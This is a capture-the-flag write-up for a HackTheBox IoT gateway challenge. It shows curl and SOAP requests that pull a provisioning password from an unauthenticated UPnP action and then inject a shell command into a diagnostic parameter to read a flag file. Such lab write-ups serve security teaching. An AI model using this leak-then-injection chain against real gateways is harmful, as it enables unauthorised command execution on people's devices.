Plug & Pray (HTB Write-up)

1. Introduction

Plug & Pray is a medium-difficulty challenge on HackTheBox that simulates a vulnerable IoT device — specifically, the VortexLink GX3000 Cable Gateway. The challenge demonstrates how custom vendor extensions in standard protocols like UPnP (Universal Plug and Play) can introduce severe security flaws, leading to information disclosure and remote code execution (RCE).

2. Reconnaissance & Web Enumeration

We start by analyzing the administration console of the gateway. The dashboard provides crucial information about the firmware version and the network configuration.

The interface highlights that UPnP is active and points to a device description file at /rootDesc.xml. Let's fetch this file using curl to understand the available UPnP services:

curl -s http://154.57.164.62:31201/rootDesc.xml

The XML output reveals two interesting control endpoints:

• /ctl/IPConn (Service: WANIPConnection:1)
• /ctl/Diag (Service: DiagnosticService:1)

3. Investigating the Diagnostic Service

The DiagnosticService is a custom vendor extension. Let's look closer at its schema definition by requesting /diag.xml:

curl -s http://154.57.164.62:31201/diag.xml

The developer left extremely helpful comments inside diag.xml:

• All actions on this endpoint require a specific HTTP header: X-Diag-Key: <ISP provisioning password>. Without it, the server drops the request with a 606 UPnP error.
• The TargetHost parameter of the RunNetworkTest action is passed directly into a system shell without sanitization, indicating a Command Injection vulnerability.

However, attempting to brute-force the X-Diag-Key header using common patterns or the device's serial number fails. We need to find the ISP provisioning password.

4. Information Disclosure via WANIPConnection

Let’s analyze the standard IP connection service description located at /WANIPCn.xml:

curl -s http://154.57.164.62:31201/WANIPCn.xml

Surprisingly, the vendor implemented two non-standard actions within the unauthenticated WANIPConnection service: GetUserName and GetPassword.

Since the /ctl/IPConn endpoint does not enforce the X-Diag-Key header, we can issue a direct SOAP POST request to call GetPassword:

curl -X POST http://154.57.164.62:31201/ctl/IPConn \
  -H "Content-Type: text/xml; charset=utf-8" \
  -H "SOAPAction: \"urn:schemas-upnp-org:service:WANIPConnection:1#GetPassword\"" \
  -d '<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body>
    <u:GetPassword xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
    </u:GetPassword>
  </s:Body>
</s:Envelope>'

The gateway happily responds with the provisioning password: Gx3000@ISP#2024.

5. Exploitation: Command Injection

Now that we bypass the authentication barrier using the discovered key, we can target the command injection flaw in RunNetworkTest.

We will abuse the TargetHost parameter by appending a semicolon followed by a payload to read the flag. We target common flag locations using the || operator for fallback.

curl -X POST http://154.57.164.62:31201/ctl/Diag \
  -H "Content-Type: text/xml; charset=utf-8" \
  -H "SOAPAction: \"urn:schemas-upnp-org:service:DiagnosticService:1#RunNetworkTest\"" \
  -H "X-Diag-Key: Gx3000@ISP#2024" \
  -d '<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body>
    <u:RunNetworkTest xmlns:u="urn:schemas-upnp-org:service:DiagnosticService:1">
      <TargetHost>127.0.0.1; cat /flag || cat flag.txt || cat /app/flag</TargetHost>
      <TestType>ping</TestType>
    </u:RunNetworkTest>
  </s:Body>
</s:Envelope>'

The command executes successfully, appending the contents of flag.txt right into the <TestResult> XML block.

6. Conclusion

This challenge showcases a realistic chain of vulnerabilities often found in embedded devices:

• Information Disclosure: Insecure implementation of sensitive proprietary actions (GetPassword) on public UPnP endpoints.
• Broken Access Control: Relying on a single static master key (X-Diag-Key) that could be pulled via the protocol itself.
• Command Injection: Trusting user input (TargetHost) inside high-privilege system diagnostic routines.